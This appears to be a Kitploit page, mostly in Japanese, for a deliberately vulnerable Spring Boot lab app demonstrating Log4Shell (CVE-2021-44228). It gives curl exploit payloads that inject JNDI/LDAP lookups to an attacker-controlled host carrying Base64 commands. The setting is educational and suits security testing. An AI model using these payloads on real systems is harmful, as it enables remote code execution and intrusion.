log4j2-CVE-2021-44228 — Log4j2 JNDIインジェクション（CVE-2021-44228）を実演する脆弱なSpring Bootウェブアプリケーション。セキュリティテストと教育のためのエクスプロイト手順および緩和ガイダンスを提供します。 | Kitploit

共有

Log4j2 脆弱性サンプルアプリケーション (CVE-2021-44228)

影響を受けるバージョン: 2.0-beta9 から 2.14.1 までの全バージョン

このアプリケーションは、CVE-2021-44228 の脆弱性を持つ Spring Boot Web アプリケーションをベースにしています。

これは Log4j 2.14.1 を使用しています (spring-boot-starter-log4j2 2.6.1 経由)。

アプリケーションの実行

実行方法:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

攻撃手順

次に、以下のようにしてエクスプロイトをトリガーします:

GET リクエストの場合 ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'


POST リクエストの場合 ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
	"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'

021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]


Caused by: java.net.UnknownHostException: your-private-ip